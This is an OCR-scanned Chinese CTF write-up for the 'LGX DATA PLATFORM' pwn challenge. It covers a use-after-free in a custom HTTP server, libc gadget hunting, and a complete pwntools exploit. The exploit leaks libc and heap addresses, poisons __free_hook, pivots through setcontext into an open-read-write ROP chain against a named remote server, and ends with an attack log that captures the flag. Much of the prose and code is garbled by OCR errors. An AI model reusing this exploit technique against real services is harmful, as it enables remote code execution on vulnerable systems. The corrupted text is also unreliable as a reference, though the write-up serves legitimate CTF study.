LGX DATA PLATFORM

KFT 2021-01-15 45T Challenge , 2020 , =54# , Pwn
Challenge | 2020 | 71 | Pwn | LGX DATA PLATFORM

LTI A TR TG AT I il o 1

WriteUp K J7
https./xz.alivun.com/t/8582

& H 2 g

o HTTPHiX

X RIEAT g T2

glibe 2.31 Fuaf EITFIH
o TR

® orw

o seccomp (R
T %
B 57

— AR Hhttp (hiH TR T Fweb R 5545, FEE Tadd data, delete data, get dataZFapitff. api® L5041 F:
Add data:[POST method] url = /?request=add_data&index=your data_index &size=your_size', post your data

Delete data:[GET method] url = /?request=delete_data&index=your data_index'

Get data:[GET method] url = /?request=get_data&index=your_data_index'

TR T 15418750, (AL H 77 L5 — M BEHLFLE ( *( DWORD *) (vi2 + 328) ) UATHIRIFIE AN E04 AR A 77 TTT*
( DWORD *) (v12 + 328) HELHBAZMFIIAN, HIEREIGH A DHLT T 1504
lgx ::work::work: :client :delete A 4

1if ( *(_DWORD *) (vi2 + 328) )

*(_DWORD *) (v12 + 328) = 0;
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3 v1l3 = *(void **) (vi2 + 320);

4 if ( vi3 )

5 operator delete[] (v13); // uaf
6 v25 = &sl;
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1 *(_DWORD *) (v22 + 328) = vd4; //#EfFiZ index FHIA
2 if ( (unsigned int)v44 > 0x400 ) //UWIRADPAT0x4000715/24 T EIEREFEFRECRIE, T % BT/

3 {

4 vb4 = &sl;

5 v47 = 49LL;

6 v37 = (__ml28i *)std:: cxxll::basic string<char,std::char traits<char>,std::allocator<char>>:: M create(
7 &vb4,

8 &v47,

9 OLL) ;

10 v27 = &vb1l;

11 v54 = v37;

12 sl = v4d7;

13 *v37 = mm load sil28((const _ ml281 *)&xmmword 17B00);
14 v38 = mm load sil128((const ml28i *)&xmmword 17B40) ;

15 v37[3].m1281 i8[0] = 125;

16 v37[1] = v38;

17 v37[2] = mm load sil28((const ml28i *)&xmmword 17B50);
18 v26 = (char *)vb4;

19 v55 = v47;

20 *((_BYTE *)v54 + v47) = 0;

21 v25 = *((_ OWORD *)v3 + 9) == OLL;
22 vb1l = &v53;

23 LODWORD (v53) = 1869834798,

24 WORD2 (v53) = 110;

25 v52 = 5LL;

26 if ( !v25)

27 {

28 (*((void (_fastcall **) (signed  int64, void **, void **))v3 + 10)) ((signed  int64)v3 + 56, &v5l, &v54);
29 goto LABEL 70;

30 }

31 goto LABEL 50; /) BEFEFRECKSE

32 )
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1 objdump -M intel -D libc.so.6 | grep "mov rdx,OWORD PTR \ [rdi+0x8\]"

11 41 Fgadget
1154930: 48 8b 57 08 mov rdx,OWORD PTR [rdi+0x8]
Xt R CHg A :
1 .text:0000000000154930 mov rdx, [rdi+8]
2 .text:0000000000154934 mov [rsp+0C8h+var C8], rax
3 .text:0000000000154938 call gword ptr [rdx+20h]
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#!/usr/bin/env python3
#-*- coding:utf-8 —*-
# Author: i0gan

# Env: Arch linux

from pwn import *
import os

r = Jambda x : lo.recv(x)

ra = lambda : lo.recvall()

rl = lambda : 1o.recvline (keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
S = lambda x : io.send(x)

sl = lambda x : l1o.sendline (x)

sa = lambda x, y : io.sendafter (x, y)

sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()

c = Jlambda : lo.close()

1i = lambda x : log.info('\x1b[01;38;5;214m"' + x + '\x1b[Om')

context.log level='debug'
context.terminal = ['tmux',
context.arch = 'amdé64'

'splitw', '-h']

libc path = '/1ib/x86 64-linux-gnu/libc.so.6’
libc path = './libc.so.6'
elf path = './lgx-data-platform'

# remote server ip and port
server ip = "axb.d0g3.cn"
server port = 20101

# 1if local debug
LOCAL = 0
LIBC =1

# func
def db():
if (LOCAL) :
gdb.attach (io)

def get(url):

p = 'GET ' + url + ' HTTP/1.1\r\n'
p += "\r\n'
s(p)

def post (url, data):
p = b'POST ' + url.encode() + b' HTTP/1.1\r\n'
p += b'Content-Length:
p += b'\r\n'

' + str(len(data)) .encode ()

; CODE XREF: setcontext+6Btj

. text:00000000000580DD mov rsp, [rdx+0AOh]
. text:00000000000580E4 mov rbx, [rdx+80h]

. text:00000000000580EB mov rbp, [rdx+78h]

. text:00000000000580EF mov rl2, [rdx+48h]
. text :00000000000580F3 mov rl3, [rdx+50h]

. text:00000000000580F7 mov rl4, [rdx+58h]

. text:00000000000580FB mov rl5, [rdx+60h]

. text :00000000000580FF test dword ptr fs:48h, 2
. text:000000000005810B jz loc 581C6

. text:00000000000581C6 loc 581C6:

. text:00000000000581C6 mov rcx, [rdx+0A8h]
. text:00000000000581CD push rex

. text:00000000000581CE mov rsi, [rdx+70h]

. text:00000000000581D2 mov rdi, [rdx+68h]

. text:00000000000581D6 mov rcx, [rdx+98h]

. text:00000000000581DD mov r8, [rdx+28h]

. text:00000000000581E1 mov r9, [rdx+30h]

. text:00000000000581E5 mov rdx, [rdx+88h]

. text:00000000000581E5 ; } // starts at 580A0

. text:00000000000581EC ;  unwind {

. text :00000000000581EC xor eax, eax

. text:00000000000581EE retn

+ b'\r\n'



50 p += data

51 s (p)

52

53 def add(i, s, d):

54 post('/?request:addidata&indexz' + str(i) + '&size=' + str(s), d)
55 ru('HTTP/1.1 200 OK')

56

57 def rm(i):

58 get ('/?request=delete data&index=' + str(i))

59 ru('HTTP/1.1 200 OK')

60

61 def get data(i):

62 get ('/?request=get data&index=' + str(i))

63 ru('HTTP/1.1 200 OK')

64

65 # exploit

66 def exploit():

67 1i('exploit...")

68

69 add (0, 0x400, b'') # 0

70 add(0x31, 0x37c, b'') # for bypass unsorted bin malloc
71 add (0x32, 0x37c, b'') # for bypass unsorted bin malloc
72 add (0x33, 0x348, b'') # for bypass unsorted bin malloc
73 add(0x34, 0x331, b'') # for bypass unsorted bin malloc
74 add(0x35, 0x331, b'') # for bypass unsorted bin malloc
75

76 rm(0x31)

77 rm (0x32)

78 rm(0x33)

79 rm (0x34)

80 rm(0x35)

81

82 for i in range (16):

83 add (i, 0x100, b'') # 1

84

85 for i in range (7):

86 rm(i + 1)

87 rm(8)

88

89 add (8, 0x401, b'')

90 add (2, 0x401, b'')

91

92 # leak libc

93 get data(8)

94 ru('"data":"")

95 leak = ué4(io.recv()[-8:-2].1just (8, b'\x00'))

96 main arena offset = Oxlebb80

97 libc base = leak - main arena offset - 96

98 main arena = libc base + main arena offset

99 free hook = libc base + libc.sym[' free hook']

100 setcontext = libc base + libc.sym['setcontext'] + 61

101 gadget = libc base + 0x1547A0 # local

102 gadget = libc base + 0x154930 # remote
103 ret addr = libc base + 0x25679

104

105 1libc open = libc base + libc.sym['open']
106 libc read = libc base + libc.sym['read']
107 libc write = libc base + libc.sym['write']
108 pop rdi = libc base + 0x26b72

109 pop rsi = libc base + 0x27529

110 pop rdx rl2 = libc base + Oxllclel # local
111 pop rdx rl2 = libc base + 0x11c371 # remote
112

113 1i('libc base : ' + hex(libc base))

114

115 # leak heap

116 get data(2)

117 ru('"data":""'")

118 leak = ué64(io.recv()[-8:-2].1just (8, b'"\x00"'))
119 heap = leak - (0)

120 1i('heap chunk 2 : ' + hex(heap))

121

122 rm(9) # for merge

123 rm(10) # for merge

124

125 for i in range (6):

126 add(i + 0x10, 0x100, b'') # 1

127

128 rm(8) # free our large chunk

129

130 add (9, 0x401, b'')

131 rm(9) # add out fake chunk to tcache 1list

132



133 #rop = flat();
134 set context = p64(0) * 4 # rdx —-> addr

135 set context += p64 (setcontext) # rdx + 0x20

136 set context += p64(0x11111)

137 set context = set context.ljust (0xa0, b'\x00"')

138 set context += p64(heap + 0x880 + 0x110) # set rsp, point to rop
139 set context += p64(ret addr) # set rcx, avoid push rcx impact on rsp
140 set context += b'./flag\x00"'

141

142 flag addr = heap + 0x888 + Oxa0 + 0x10
143 rop = flat([

144 pop rdi, flag addr,
145 pop rsi, O,

146 libc open,

147 pop rdi, 3,

148 pop rsi, flag addr,
149 pop_rdx ri2, 0x100, O,
150 libc read,

151 pop rdi, 1,

152 pop rsi, flag addr,
153 #pop rdx rl2, 0x100, O,
154 libc write,

155 # pause

156 pop rdi, O,

157 libc read

158 1)

159

160 p = p64(main arena + 96) + p64(main arena + 96)

161 p = p.ljust (0x100, b'\x00")

162 p += p64(0) + p64(0x111) # fake chunk 9

163 p += (p64(free hook) + set context).ljust (0x100, b'\x00')
164

165 p += p64(0) + p64(0x111) # fake chunk 10

166 p += rop.ljust(0x100, b'\x00"')

167 p += b'A' * 0x10 # avoid string obj malloc to our fake chunk
168

169 add (0x20, 0x320, p) # malloc to our chunk, and make a fake chunk
170 add (0x21, 0x100, b'')

171

172 p = p64(gadget)

173 p += p64(heap + 0x888) # set rdx pointer to heap set context addr + 0x20
174

175 #db ()

176 # trigger

177 post('/?request=add7data&index=' + str(0x22) + '&size=' + str(0x100), p)
178

179 def finish():

180 ia()

181 c()

182

183 # main

184 if name == "' main ':

185

186 if LOCAL:

187 elf = ELF(elf path)

188 if LIBC:

189 libc = ELF(libc path)

190 io = elf.process(env = {"LD PRELOAD" : libc path} )
191 else:

192 io = elf.process ()

193 else:

194 elf = ELF(elf path)

195 io = remote (server ip, server port)

196 if LIBC:

197 libc = ELF(libc path)

198

199 exploit ()

200 finish()

attack log



1 rl[logan®arch]- (~/share/axb2020-server-mannage/pwn chall/test/lgx-data-platform)

2 b Jexp

3 [*] '/run/media/logan/diskl/share/axb2020-server-mannage/pwn_chall/test/lgx-data-platform/lgx-data-platform'
4 Arch: amd64-64-1ittle

5 RELRO: Partial RELRO

6 Stack: Canary found

7 NX: NX enabled

8 PIE: PIE enabled

9 [+] Opening connection to axb.d0g3.cn on port 20101: Done
10 [*] '/run/media/logan/diskl/share/axb2020-server-mannage/pwn chall/test/lgx-data-platform/libc.so.6’

11 Arch: amdé4-64-1ittle
12 RELRO: Partial RELRO
13 Stack: Canary found
14 NX: NX enabled

15 PIE: PIE enabled

16 [*] exploit...

17 [*] libc base : 0x7£0929101000

18 [*] heap chunk 2 : 0x56151b60e090
19 [*] Switching to interactive mode
20

21 Server: LGX SERVER

22 Access-Control-Allow-Origin: *

23 Content-Type: application/json

24 Content-Length: 43

25

26 {"code":"true", "msg":"warning none datal!'"}flag{722b6d90a64c25782ar42d14d784celc}
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